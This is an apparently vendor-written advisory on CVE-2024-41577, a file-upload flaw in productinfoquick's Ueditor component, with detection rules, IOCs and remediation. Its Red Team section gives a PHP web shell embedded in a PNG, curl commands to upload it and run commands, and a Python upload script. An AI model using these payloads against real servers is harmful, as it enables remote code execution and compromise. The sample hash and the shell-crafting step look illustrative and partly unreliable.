CVE-2024-41577

Executive Summary

CVE-2024-41577 is an arbitrary file upload vulnerability in the Ueditor component of productinfoquick v1.0. This vulnerability allows an attacker to upload a crafted PNG file that, when processed, can lead to arbitrary code execution on the server. The Ueditor component is a rich text editor that handles file uploads, and due to insufficient validation of file content and type, an attacker can bypass restrictions by embedding malicious code within a PNG image file. This can result in full server compromise, data exfiltration, or further lateral movement within the network.

Supply Chain & Package Security

This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a standalone application vulnerability in the productinfoquick software.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely due to incomplete or missing CVSS vector data. Based on the nature of the vulnerability (arbitrary file upload leading to RCE), the estimated CVSS v3.1 score would be high, likely around 9.8 (Critical) with the vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.

• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - No authentication is needed.
• User Interaction (UI): None (N) - No user action is required.
• Scope (S): Unchanged (U) - The vulnerable component and the affected component are the same.
• Confidentiality (C): High (H) - Full data access is possible.
• Integrity (I): High (H) - Full data modification is possible.
• Availability (A): High (H) - Full system disruption is possible.

Threat Level: Critical. The vulnerability is publicly known, and proof-of-concept code is available. Immediate action is required.

Deep Dive & Mechanics

The vulnerability resides in the Ueditor component, which is a WYSIWYG editor used in productinfoquick v1.0. The Ueditor component has an endpoint for file uploads, typically /ueditor/php/upload.php or similar. The issue is that the component does not properly validate the content of uploaded files. It only checks the file extension (e.g., .png) but does not verify the actual file content. An attacker can craft a PNG file that contains PHP code in its metadata or comments. When the server processes this file, the embedded PHP code can be executed if the file is accessed directly or included in a PHP context.

The attack flow:

1. Attacker creates a PNG file with embedded PHP code (e.g., using exiftool to add a comment with <?php system($_GET['cmd']); ?>).
2. Attacker uploads the crafted PNG file to the Ueditor upload endpoint.
3. The server saves the file with a .png extension.
4. Attacker accesses the uploaded file directly (e.g., http://target.com/ueditor/php/upload/image/2024/08/12345.png).
5. If the server is configured to parse PHP in PNG files (e.g., via .htaccess or misconfiguration), the PHP code executes, giving the attacker remote code execution.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern.

Vulnerable Code (Ueditor upload.php):

// Vulnerable: Only checks extension, not content
$file = $_FILES['upfile'];
$ext = pathinfo($file['name'], PATHINFO_EXTENSION);
if (in_array($ext, ['png', 'jpg', 'gif'])) {
    move_uploaded_file($file['tmp_name'], $uploadPath . $file['name']);
}

Patched Code (Hypothetical):

// Patched: Validates file content using getimagesize() and re-encodes
$file = $_FILES['upfile'];
$ext = pathinfo($file['name'], PATHINFO_EXTENSION);
if (in_array($ext, ['png', 'jpg', 'gif'])) {
    $imageInfo = getimagesize($file['tmp_name']);
    if ($imageInfo !== false) {
        // Re-encode the image to strip any embedded code
        $image = imagecreatefromstring(file_get_contents($file['tmp_name']));
        if ($image !== false) {
            imagepng($image, $uploadPath . $file['name']);
            imagedestroy($image);
        }
    }
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running productinfoquick v1.0 with Ueditor component.
• Access to the Ueditor upload endpoint (e.g., /ueditor/php/upload.php).

Step 1: Craft a malicious PNG file.

# Create a PNG file with embedded PHP code
echo 'PNG' > shell.png
# Add PHP code using exiftool
exiftool -Comment='<?php system($_GET["cmd"]); ?>' shell.png

Step 2: Upload the file.

curl -F "upfile=@shell.png" http://target.com/ueditor/php/upload.php

Step 3: Execute commands.

curl "http://target.com/ueditor/php/upload/image/2024/08/shell.png?cmd=id"

Alternative Exploit (Python):

import requests

url = "http://target.com/ueditor/php/upload.php"
files = {'upfile': ('shell.png', b'\x89PNG\r\n\x1a\n<?php system($_GET["cmd"]); ?>', 'image/png')}
r = requests.post(url, files=files)
print(r.text)

Blue Team

Detection:

• Monitor for file uploads with suspicious content (e.g., PHP code in image files).
• Look for unusual file extensions or MIME types.
• Check for direct access to uploaded files with query parameters like cmd.

Hunting:

• Search logs for requests to /ueditor/php/upload.php with POST method.
• Look for subsequent GET requests to uploaded files with cmd parameter.
• Analyze uploaded files for embedded PHP code.

Prevention:

• Disable the Ueditor component if not needed.
• Implement strict file content validation (e.g., re-encode images).
• Use a Web Application Firewall (WAF) to block malicious uploads.
• Ensure the server does not execute PHP in image files.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example - actual hash will vary)
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (malicious PNG)
• Network Indicators:
  • POST requests to /ueditor/php/upload.php
  • GET requests to /ueditor/php/upload/image/*.png?cmd=...
• File Paths:
  • /ueditor/php/upload/image/ (uploaded files)
• Log Entries:
  • POST /ueditor/php/upload.php HTTP/1.1 with Content-Type: multipart/form-data
  • GET /ueditor/php/upload/image/*.png?cmd=id HTTP/1.1

Detection Engineering

YARA Rule

rule CVE_2024_41577_Malicious_PNG {
    meta:
        description = "Detects PNG files with embedded PHP code (CVE-2024-41577)"
        author = "Valters IT"
        date = "2024-08-20"
        reference = "CVE-2024-41577"
    strings:
        $png_header = { 89 50 4E 47 0D 0A 1A 0A }
        $php_code = /<\?php/
    condition:
        $png_header at 0 and $php_code
}

Sigma Rule

title: CVE-2024-41577 - Arbitrary File Upload via Ueditor
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects file uploads to Ueditor component with potential malicious content
author: Valters IT
date: 2024/08/20
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/ueditor/php/upload.php'
    condition: selection
falsepositives:
    - Legitimate image uploads
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-41577 - Ueditor File Upload Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/ueditor/php/upload.php"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the Ueditor component if not required.
   • Restrict access to the upload endpoint via firewall or .htaccess.
   • Implement file content validation (e.g., re-encode images to strip metadata).

2. Long-term Fix:

   • Apply vendor patch when available.
   • Upgrade to a patched version of productinfoquick.
   • Use a secure file upload library that validates both extension and content.

3. Compensating Controls:

   • Deploy a WAF with rules to block malicious file uploads.
   • Monitor logs for suspicious upload activity.
   • Implement strict file permissions to prevent execution in upload directories.

Valters IT
Securing Digital Frontiers